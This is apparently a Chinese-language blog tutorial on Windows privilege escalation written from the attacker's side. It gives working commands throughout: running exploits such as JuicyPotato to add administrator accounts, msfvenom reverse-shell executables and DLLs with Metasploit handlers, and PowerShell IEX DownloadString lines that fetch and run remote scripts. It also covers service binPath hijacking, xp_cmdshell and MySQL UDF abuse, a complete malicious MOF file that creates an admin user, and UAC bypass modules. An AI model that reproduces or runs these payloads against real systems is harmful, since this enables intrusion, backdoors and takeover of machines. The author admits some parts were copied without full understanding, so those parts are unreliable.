Windows 提权

文章目录

  • Windows 提权
    • 提权的常用方法
    • 提权的常用命令
    • windows 提权辅助脚本
    • windows漏洞提权流程
    • 补丁查询漏洞提权
      • hacking8在线查询补丁
      • wesng 查询补丁
      • WindowsVulnScan 查询补丁
        • 工具的原理
        • 参数说明
        • 使用说明
  • windows常用提权漏洞
    • CVE-2016-3225(MS16-075)提权
      • 漏洞描述:
      • 影响版本
      • 漏洞复现
      • 漏洞修复
    • CVE-2014-4113 (MS14-058)提权
      • 漏洞描述
      • 影响版本
      • 漏洞复现
    • CVE-2020-0787 提权
      • 漏洞描述
      • 影响版本
      • 漏洞复现
  • 使用metasplit 提权
    • 描述
    • 提权过程
    • 特权提升
  • windows系统配置错误提权
    • 系统服务权限配置错误
      • 描述
      • 漏洞介绍
      • 复现
      • 使用msfconsole进行扫描并提权
    • 不带引号的服务路径提权
        • 描述
        • 有双引号的时候
        • 漏洞复现
    • 注册键AlwaysInstallElevated
      • 描述
      • 漏洞复现
      • 漏洞修复
    • 自动安装配置文件提权
      • 漏洞描述
      • 漏洞复现
    • 本地dll劫持提权
      • 漏洞原理
      • 漏洞复现
  • 第三方服务提权
    • SQL SERVER提权
      • 描述
      • 敏感文件
      • 复现
    • MYSQL提权
      • 描述
      • 插件目录
      • 复现
      • mysql提权问题
    • mof提权
      • 描述
      • 原理
      • 影响版本
      • 复现
    • G6FTP 提权
      • 描述
      • 原理
      • 复现
    • 绕过uac bypassuac
      • 描述
      • 复现
        • 描述
        • 过程
  • 总结

Windows 提权

提权的常用方法

windows的常用提权方法,主要分为:

  • 漏洞提权
  • windwos特性提权
  • 第三方组件提权
  • 数据库提权
  • ftp提权

提权的常用命令

systeminfo | findstr OS #获取系统版本信息
systeminfo&&wmic product get name,version&&wmic nic where PhysicalAdapter=True
get MACAddress,Name&&wmic NICCONFIG WHERE IPEnabled=true GET IPAddress #检测系统软
件包
hostname  #获取主机名称
whoami /all #获取当前用户的详细信息
whoami /priv  #显示当前用户的安全特权
net start #查看服务
quser or query user  #获取在线用户
netstat -ano | findstr 3389  #获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn  #列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal"
"Server\WinStations\RDP-Tcp /v PortNumber  #获取远程端口
tasklist /svc | find "TermService" #获取服务pid
netstat -ano |find "pid"  #获取远程端口

windows 提权辅助脚本

检测系统补丁脚本:

https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester

查看补丁:

https://github.com/chroblert/WindowsVulnScan

windows 内核提权exp:

https://github.com/SecWiki/windows-kernel-exploits

在线提权利用查询:

https://lolbas-project.github.io/

提权辅助网页:

http://bugs.hacking8.com/tiquan/

windows漏洞提权流程

  1. 能够执行cmd命令->是否打补丁->补丁对应exp->获取服务器权限
  2. 执行命令的时候 aspx->php和asp
  3. 如果管理员删除服务器组件 wscript.shell 无法在asp执行cmd命令 这个时候可以使用aspx的后门查看是否有权限执行cmd命令

asp大马:

Windows 提权_第1张图片
aspx大马:

Windows 提权_第2张图片

补丁查询漏洞提权

hacking8在线查询补丁

在webshell上执行 systeminfo

Windows 提权_第3张图片

复制systeminfo信息到 http://bugs.hacking8.com/tiquan/查询exp

Windows 提权_第4张图片

wesng 查询补丁

将systeminfo信息保存在txt文本中

工具GitHub地址:

https://github.com/bitsadmin/wesng

pip3 install chardet 		#下载包
python wes.py --update-wes 	#更新
python wes.py c:\sys.txt 	#检测补丁

Windows 提权_第5张图片

WindowsVulnScan 查询补丁

GitHub下载地址:

https://github.com/chroblert/WindowsVulnScan

工具的原理
  1. 搜集CVE与KB的对应关系。首先在微软官网上收集CVE与KB对应的关系,然后存储进数据库中
  2. 查找特定CVE网上是否有公开的EXP
  3. 利用powershell脚本收集主机的一些系统版本与KB信息
  4. 利用系统版本与KB信息搜寻主机上具有存在公开EXP的CVE
参数说明

可选参数:

# author: JC0o0l
# GitHub: https://github.com/chroblert/
可选参数:
-h, --help      	# show this help message and exit
-u, --update-cve   	# 更新CVEKB数据
-U, --update-exp    # 更新CVEEXP数据
-m MODE, --mode	 	# MODE 搭配-U使用。更新模式 All:更新所有;Empty:只更新空白的;Error:只更新之前未成功更新的
-C, --check-EXP    	# 检索具有EXP的CVE
-n PRODUCTNAME, --productName PRODUCTNAME
           			# 搭配-C使用。自定义产品名称,如Windows 10
-N PRODUCTVERSION, --productVersion PRODUCTVERSION
           			# 搭配-C使用。自定义产品版本,如20H2
-f FILE, --file FILE # ps1脚本运行后产生的.json文件
使用说明

在webshell执行 需要把源码进行修改 把Out-file的文件写在可写的目录上

![13](C:/Users/MSI-NB/Desktop/提权篇/13.png)
 # 1. 搜集所有的KB补丁
 $KBArray = @()
 $KBArray = Get-HotFix|ForEach-Object {$_.HotFixId}
 $test = $KBArray|ConvertTo-Json
 return $test
}
function Get-BasicInfo(){
 # 1. 操作系统
 # $windowsProductName = (Get-ComputerInfo).WindowsProductName
 $windowsProductName = (Get-CimInstance Win32_OperatingSystem).Caption
 # 2. 操作系统版本
 $windowsVersion = (Get-ComputerInfo).WindowsVersion
 $basicInfo = "
{""windowsProductName"":""$windowsProductName"",""windowsVersion"":""$windowsVer
sion""}"
 return $basicInfo
 
}
$basicInfo = Get-BasicInfo
$KBList = Get-CollectKB
$KBResult = "{""basicInfo"":$basicInfo,""KBList"":$KBList}"
$KBResult|Out-File C:\ProgramData\KB.json -encoding utf8

webshell执行powershell查询补丁 执行会在C:\ProgramData\生成kb.json文件

Powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.150.145/KBCollect.ps1')

首先运行powershell脚本 KBCollect.ps 收集一些信息 运行后在目录下生成kb.json

.\KBCollect.ps1
# 如果无法执行powershell就执行下面的命令试试
Set-ExecutionPolicy -Scope CurrentUser
remotesigned

将运行后产生的 KB.json 文件移动到 cve-check.py 所在的目录

安装一些python3模块

python3 -m pip install -r requirements.txt

运行 cve-check.py -u 创建CVEKB数据库

运行 cve-check.py -U 更新CVEKB数据库中的 hasPOC 字段

此处可以使用-m选择更新模式。
-m All:更新所有
-m Empty:只更新hasPOC字段为空的
-m Error:只更新hasPOC字段为Error的

运行 cve-check.py -C -f KB.json 查看具有公开EXP的CVE,如下:

python cve-check.py -C -f KB.json

Windows 提权_第6张图片

windows常用提权漏洞

通过上面的补丁查询,列出可用的exp,在webshell里使用提权exp对服务器进行提权。

CVE-2016-3225(MS16-075)提权

漏洞描述:

当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块(SMB) 中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。此更新通过更正 Windows 服务器消息块 (SMB) 服务器处理凭据转发请求的方式来修复此漏洞。

Tips:又名烂土豆(Rotten Potato)提权是一个本地提权,是针对本地用户的,不能用于域用户

影响版本

https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2016/ms16-075

漏洞复现

利用文件GitHub下载地址:

https://github.com/itm4n/PrintSpoofer

下载文件 https://github.com/uknowsec/JuicyPotato 上传到webshell的可执行目录,并执行命令

Windows 提权_第7张图片

执行完后看到权限已经是system了 新建账号添加到管理员组

C:\ProgramData\JuicyPotato_x32.exe -a "net user lian 123456 /add && netlocalgroup administrators lian /add"

Windows 提权_第8张图片

漏洞修复

升级版本

CVE-2014-4113 (MS14-058)提权

漏洞描述

Microsoft Windows下的 win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。

影响版本

该漏洞影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本。

漏洞复现

漏洞利用文件比较大,一般采用powershell下载后执行

Powershell IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.1.4/Win64.exe’)

或者使用其他大马进行上传

上传到可执行目录后执行

Windows 提权_第9张图片

CVE-2020-0787 提权

漏洞描述

当Windows Background Intelligent Transfer Service (BITS)未能正确地处理符号链接时,存在权限提升漏洞。成功利用此漏洞的攻击者可以覆盖导致提升状态的目标文件。要利用此漏洞,攻击者首先必须登录到系统。然后,攻击者可以运行巧尽心思构建的应用程序,利用此漏洞并控制受影响的系统。

影响版本

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0787

漏洞复现

利用程序下载地址:

https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases

这个提权exp有点特殊它必须已经使用远程桌面登录后,并拥有一个普通用户的权限才可以提权。

它在执行完后会给我们弹出来一个拥有system权限的一个cmd窗口

执行效果如下:

Windows 提权_第10张图片

使用metasplit 提权

描述

metasplit 是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。

提权过程

在kali上生成反向连接后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.195 lport=12345 -f exe >s.exe

Windows 提权_第11张图片

进入到 msfconsole 中使用监听进行监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.145
set lport 12345
run

Windows 提权_第12张图片

使用大马上传msfconsole 木马到可读可写的目录下进行执行

Windows 提权_第13张图片

我们已经获取到了一个会话

特权提升

可以使用常规的提权exp进行测试
windows 常见的提权模块

ms14_058 									# 内核模式驱动程序中的漏洞可能允许远程执行代码
ms16_016 WebDAV		 						# 本地提权漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 	# 本地提权漏漏洞

使用模块进行自动化信息收集提权

background
use post/multi/recon/local_exploit_suggester
set session 1
exploit

Windows 提权_第14张图片

这个模块可能会执行失败,这个是时候我们可以使用下面这个模块用来查询是否有程序配置错误可以让我们来提权

background
use exploit/windows/local/service_permissions
set session 2
run

Windows 提权_第15张图片

像我这里都执行失败了就只能查找补丁看有哪些可以利用的exp了

这里我使用 CVE-2016-3225(MS16-075)进行提权

Windows 提权_第16张图片

提权成功

windows系统配置错误提权

系统服务权限配置错误

描述

Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的)倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持

漏洞介绍

windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。

windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。

复现

Powershell中的PowerUp脚本 https://github.com/HarmJ0y/PowerUp 加载模块并执行 列出可能存在问题的所有服务 分析能否利用

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.106/PowerUp.ps1'); Invoke-
AllChecks"

Windows 提权_第17张图片

PrivescCheck这个Powershell比PowerUp显示的内容更加详细,PowerUp长期没更新了,建议用这个工具对配置进行详细错误。

git clone https://github.com/itm4n/PrivescCheck.git

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.106/PrivescCheck.ps1'); Invoke-PrivescCheck"

Windows 提权_第18张图片

Windows 提权_第19张图片

NT AUTHORITY\Authenticated Users 普通用户也能设置文件普通用户可以对usosvc服务进行设置 s.exe是msf的后门程序

sc stop UsoSvc
sc config usosvc binPath= "C:\s.exe"
sc start UsoSvc

使用msfconsole进行扫描并提权

use exploit/windows/local/service_permissions

service_permissions模块会使用 两种方式获取system权限 如果以管理员权限运行 会尝试创建并运行一个新的服务 如果当前权限不允许创建服务 会判断哪些服务的文件或文件夹的权限有问题 并对其进行劫持 在劫持服务时会创建一个可执行程序 其文件名和安装路径都是随机的

Windows 提权_第20张图片

不带引号的服务路径提权

描述

当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。

当Windows服务运行时,会发生以下两种情况之一。

  • 如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。
  • 但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace test
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("没有双引号执行命令!");
        }
    }
}

编译成exe 然后改名上传到 c盘 Program.exe
服务器执行的时候如果没有添加双引号 程序是这样寻找Rar.exe文件

1.没有双引号的时候会执行Program.exe文件

Windows 提权_第21张图片

没有双引号的时候,windows会把空格前面的当做exe文件执行。

有双引号的时候

"C:\Program Files\WinRAR\Rar.exe"

Windows 提权_第22张图片

漏洞复现

使用PowerUp.ps1进行检测,会遍历出带有空格的文件路径

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.106/PowerUp.ps1'); Invoke-
AllChecks"

或者使用命令

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr
/i /v "C:Windows" |findstr/i /v """

Windows 提权_第23张图片

2345看图王核心服务 2345PicSvc C:\Program Files(x86)\2345Soft\2345Pic\protect\Pic_2345Svc.exe Auto
2345王牌输入法核心服务 2345PinyinSvc C:\Program Files(x86)\2345Soft\2345Pinyin\5.8.1.7232\Protect\Pinyin_2345Svc.exe Auto

看到服务器

  • 存在空格
  • 路径可写

即存在漏洞
如果C盘可写上传反弹后门到C:\Program.exe即可
系统在重启 获取管理员重启该服务的时候就会获取系统权限
记得在设置 metasploist set AutoRunScript migrate -f 自动迁移进程 不然会连接就断开

Windows 提权_第24张图片

注册键AlwaysInstallElevated

描述

允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NTAuthority\System权限来安装恶意的MSI文件。 windows install是windows操作系统的组件之一,专门用来管理配置软件服务。它除了是一个安装程序,还用于管理软件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。windows install通过msiexec.exe安装MSI文件,双击MSI文件就会运行msiexec.exe。

原理:是因为用户打开了windows installer 特权安装功能

漏洞复现

运行gpedit.msc打开组策略编辑器

Windows 提权_第25张图片

Windows 提权_第26张图片

也可以使用命令行修改注册表

reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
Reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

使用PowerUp检测注册表是否有设置 如果返回true证明可以利用

PowerShell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.121/PowerUp.ps1'); Get-
RegAlwaysInstallElevated

Windows 提权_第27张图片

iis_user组用户权限较低 返回false

Windows 提权_第28张图片

上传 C:\ProgramData\COMahawk64.exe 执行即可获取一个系统得账号和密码

Windows 提权_第29张图片

漏洞修复

禁用注册表键AlwaysInstallElevated。

自动安装配置文件提权

漏洞描述

网络管理员在内网中给多台机器配置同一个环境的时候,一般会使用脚本进行批量部署,也就是会使用安装配置文件,这些文件中包含所有的安装配置信息,其中还有一些包含着本地管理员账号和密码。

漏洞复现

我们执行如下命令,搜索Unattend.xml文件

dir /b /s c:\Unattend.xml

这里我们的Unattend.xml文件是使用了base64对管理员的密码进行编码的

Windows 提权_第30张图片

也使用msf的 post/windows/gather/enum_unattend 对这个配置文件扫描

本地dll劫持提权

漏洞原理

Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)

这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载,而系统dll是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件。

漏洞复现

程序运行一般会加载系统dll或本身程序自带的dll,如果我们将程序执行时需要加载的dll文件替换成木马程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。

攻击过程:收集进程加载的dll-制作dll木马并上传-替换dll-启动应用后成功

收集进程加载的dll
使用火绒剑分析该进程执行时加载了哪些dll

Windows 提权_第31张图片

系统文件一般我们是更改不了的,所以一般选择未知文件和数字签名文件。

生成dll木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.106 lport=12345 -f dll > libcurl_x86.dll

Windows 提权_第32张图片

替换原来的dll

Windows 提权_第33张图片

Windows 提权_第34张图片

第三方服务提权

除了系统自带的服务外 ,安装第三方的软件例如 mysql sqlserver ftp等应用软件,如果权限设置不对,会对服务器造成安全隐患,从而导致服务器被提权。

SQL SERVER提权

描述

如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定的系统权限,还要看管理员开始安装sqlserver的权限设置 一般情况是system权限或者pulic 均能执行命令

敏感文件

web.config
config.asp
conn.aspx
database.aspx

复现

使用mssql连接工具或者webshell net提权脚本输入账号和密码连接
开启xp_cmdshell

Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroup administrators lx /add'
Exec master.dbo.xp_cmdshell 'systeminfo'

Windows 提权_第35张图片

查看当前权限也是一个普通用户。可以执行一些基础的命令,可以上传溢出提权工具 再来提高当前用户的权限。 有些时候 是一个系统权限 主要还是要看目标管理员在开始安装sqlserver的时候给的是什么样的权限。

MYSQL提权

描述

在mysql 可以使用自定义函数进行提权,udf = user defined function 用户自定义函数对于自定义的函数 在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀微dll,c语言编写

插件目录

可以使用语句查询plugin插件目录

show variables like "%plugin%"

Windows 提权_第36张图片

复现

在网站上寻找mysql服务的连接账号和密码
上传提权脚本 到网站目录

Windows 提权_第37张图片

填写mysql的账号和密码后 导出udf

Windows 提权_第38张图片

Windows 提权_第39张图片

创建udf函数

Windows 提权_第40张图片

mysql提权问题

  • 版本有32 和64位的mysql 创建函数的方法一样,但是64版本的要用64的udf.dll
  • The MySQL server is running with the –secure-file-priv option so it cannot execute this statement

这种是mysql默认设置是不允许导入导出 需要在my.ini添加 secure-file-priv = 保存重启mysql即可

SELECT @@global.secure_file_priv

  • Can’t create/write to file ‘D:\phpStudy\MySQL\lib\plugin\moonudf.dll

这种是没有权限导出或者plugin目录不存在,需要手动创建或者权限不够

mof提权

描述

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实例。之后,提供程序、事件类别和事件信息 便可由 WMI 和 Visual Studio Analyzer 使用。 在 MOF 文件中创建提供程序、事件类别和事件类的实例,并且定义想要分析的自定义对象,之后,就可以对该文件进行编译

原理

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。
其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

影响版本

  • windows 03及以下版本
  • mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
  • secure-file-priv参数不为null

复现

公开的nullevt.mof利用代码

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
 EventNamespace = "Root\\Cimv2";
 Name = "filtP2";
 Query = "Select * From __InstanceModificationEvent "
     "Where TargetInstance Isa \"Win32_LocalTime\" "
     "And TargetInstance.Second = 5";
 QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
 Name = "consPCSV2";
 ScriptingEngine = "JScript";
 ScriptText =
 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user
moonteam$ xxx12456 /add && net localgroup administrators moonteam$ /add\")";
};
instance of __FilterToConsumerBinding
{
 Consumer  = $Consumer;
 Filter = $EventFilter;
};

把mof.php上传到脚本 填写命令导出即可

Windows 提权_第41张图片

Windows 提权_第42张图片

G6FTP 提权

描述

G6 FTP Server 新一代的 FTP 服务器端软件,支持 RFC-959 标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能。

原理

G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要进行端口转发(使用lcx 工具(lcx 具有三个功能:监听、转发、端口转向))。

netstat -ano 查看G6fp端口

Windows 提权_第43张图片

复现

在webshell访问 配置文件 C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini

Windows 提权_第44张图片

cmd5破解密码

Windows 提权_第45张图片

使用端口转发工具把8021端口转发出来 lcx.exe -tran 2333 127.0.0.1 8021

Windows 提权_第46张图片

在攻击者上安装g6ftp 连接上服务端进行设置

Windows 提权_第47张图片

Windows 提权_第48张图片

将以下添加管理员命令 保存为bat文件上传到目标上 在设置里选择执行

net user moon QWEasd123 /add && net localgroup administrators moon /add

Windows 提权_第49张图片

登录ftp执行 quote stie A 但是失败了

Windows 提权_第50张图片

上传 Program.exe到系统重启执行目录里面重启时会自动执行(前提是有权限写入到那个目录)

系统启动项目录:

c://Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/

写到启动项执行后门

Windows 提权_第51张图片

Windows 提权_第52张图片

绕过uac bypassuac

描述

UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。

Windows 提权_第53张图片

为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)

复现

bypassuac模块绕过uac

使用msf搜索 uac模块

Windows 提权_第54张图片

通常使用 bypassuac模块 一般是可以绕过的 但是也不排除失败的可能
通过进程注入使可信任发布者证书绕过Windows UAC。

Windows 提权_第55张图片

use exploit/windows/local/bypassuac
set session 1
run

Windows 提权_第56张图片

在这里bypassuac失败

使用bypassuac_injection模块进行bypass

use exploit/windows/local/bypassuac_injection

描述

此模块将利用受信任的通过进程注入发布者证书。它将产生一个关闭UAC标志的第二个shell。此模块使用反射DLL注入技术,仅丢弃DLL有效负载二进制文件,而不是标准技术中的三个单独的二进制文件。但是,它需要选择正确的体系结构x64(也适用于SYSWOW64系统)。如果指定EXE::自定义DLL应在单独启动有效负载后调用ExitProcess()

过程
use exploit/windows/local/bypassuac_injection
set session 1
run

Windows 提权_第57张图片

如果使用hashdump出现这些错误信息

Windows 提权_第58张图片

迁移进行到64进程即可哈希。

Windows 提权_第59张图片

总结

到这里呢,Windows的提权就基本差不多完了。Windows的提权主要靠本地漏洞或者是管理员的配置不当以及一些系统的特性。

在提权中一定要细心不要放弃每一个可以尝试的点。

另外关于本篇文章有的地方因为靶机的问题是我在学习文章中直接复制过来的可能有的地方讲的不是很清楚还请见谅。

你可能感兴趣的:(内网渗透,windows,安全,web安全)